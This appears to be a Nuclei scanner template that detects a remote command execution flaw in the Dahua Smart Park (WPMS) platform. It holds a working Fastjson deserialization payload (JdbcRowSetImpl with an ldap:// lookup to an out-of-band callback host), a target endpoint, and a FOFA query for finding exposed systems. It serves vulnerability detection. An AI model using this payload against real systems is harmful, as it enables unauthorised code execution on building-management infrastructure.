36 lines
1.2 KiB
YAML
36 lines
1.2 KiB
YAML
id: dahua-wpms-rce
|
|
|
|
info:
|
|
name: Dahua Smart Park Integrated Management Platform - Remote Command Execution
|
|
author: DhiyaneshDK
|
|
severity: critical
|
|
reference:
|
|
- https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/dahua-zhyq-deleteftp-rce.py
|
|
metadata:
|
|
max-request: 1
|
|
fofa-query: body="src=\"/WPMS/asset/common/js/jsencrypt.min.js\""
|
|
tags: rce,dahua,wpms
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /CardSolution/card/accessControl/swingCardRecord/deleteFtp HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{"ftpUrl":{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{{interactsh-url}}","autoCommit":true}}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "autoCommit"
|
|
- "set property error"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
# digest: 4a0a004730450220035deca9637ea837d7397f70826694a56e77fe6aadfb72deb8598262c38bef69022100f6acc10859d87d1db6a4399334177bea7d1e728f46224f0aa06e5a94e43207b6:922c64590222798bb761d5b6d8e72950 |